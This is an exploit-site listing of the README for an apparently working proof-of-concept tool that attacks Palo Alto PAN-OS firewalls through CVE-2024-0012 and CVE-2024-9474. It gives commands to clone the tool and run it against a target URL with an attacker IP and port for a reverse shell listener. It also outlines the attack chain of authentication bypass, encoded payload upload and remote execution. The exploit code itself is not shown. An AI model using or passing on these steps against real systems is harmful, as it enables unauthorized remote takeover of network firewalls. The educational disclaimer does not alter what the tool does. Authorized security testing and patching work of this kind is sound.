Sploitus

Exploit for Missing Authentication for Critical Function in Paloaltonetworks Pan-Os

githubexploit Β· 2024-12-11

Exploit Code

README76 lines
## https://sploitus.com/exploit?id=12AD7FBE-9A82-5661-9E65-B8E03F68B3C3
# πŸš€ CVE-2024-0012 & CVE-2024-9474 (Palo Alto PAN-OS) Exploit πŸ”

![Palo Alto PAN-OS](https://img.shields.io/badge/Product-Palo%20Alto%20PAN--OS-blue)
![Exploit Type](https://img.shields.io/badge/Type-RCE%20%7C%20Authentication%20Bypass-yellow)

## πŸ›‘οΈ Description

This Proof-of-Concept (PoC) script targeting vulnerabilities in Palo Alto PAN-OS, specifically **CVE-2024-0012** and **CVE-2024-9474** by automating the exploitation process, including autentication bypass, payload creation, chunked delivery, and seamless command execution.


> ⚠️ **This script is for educational and authorized penetration testing purposes only. Unauthorized use is illegal.**

---

## πŸ” Vulnerabilities Addressed
### CVE-2024-0012
- **Type**: Authentication Bypass
- **Impact**: Enables unauthorized access to administrative interfaces.
- **Severity**: 🚨 Critical

### CVE-2024-9474
- **Type**: Command Execution & Privilege Escalation
- **Impact**: Allows remote attackers to execute arbitrary commands.
- **Severity**: πŸ”₯ Medium

---

## πŸ§‘β€πŸ’» Usage
### πŸ› οΈ Clone the Repository
```bash
git clone https://github.com/TalatumLabs/CVE-2024-0012_CVE-2024-9474_PoC.git
cd CVE-2024-0012_CVE-2024-9474_PoC
```

### πŸš€ Run the Script
```bash
python -W ignore poc.py   
```

#### Arguments:
- ``: The target URL, including `http` or `https`.
- ``: Your IP address for the reverse shell listener.
- ``: The port for the reverse shell listener.

---

### πŸ’‘ Example
```bash
python -W ignore poc.py https://target.pan-os-system.com 192.168.1.100 4444
```
---

### πŸ’» Exploit Demo
https://github.com/user-attachments/assets/12ca7632-e5d2-488f-b644-6e278651a2f5

---

## βš™οΈ How It Works
Get the full breakdown and technical insights into this PoC from this [Medium Write-up](https://medium.com/@talatumsolutions/breaking-the-firewall-exploiting-pan-os-vulnerabilities-for-unauthenticated-remote-code-execution-23bf79d3f245)!
1. πŸ” **Checks Vulnerability**: Ensures the target is vulnerable to CVE-2024-0012 and CVE-2024-9474.
2. πŸ›‘οΈ **Extracts PHPSESSID**: Retrieves a session ID for further exploitation.
3. ✨ **Generates Payload**: Creates a double-encoded reverse shell payload.
4. πŸ“¦ **Uploads Chunks**: Sends payload chunks to the target server.
5. πŸ”— **Combines Payload**: Reconstructs the payload on the target system.
6. ⚑ **Executes Command**: Decodes and executes the reverse shell.

---

## ⚠️ Legal Disclaimer
This PoC is intended for **educational purposes** and **authorized security testing** only. Unauthorized use of this tool is strictly prohibited. The authors are not responsible for any misuse or damage caused by this tool.

---

## πŸ§‘β€πŸŽ“ Author
[ghostxploiter](https://github.com/itxalee)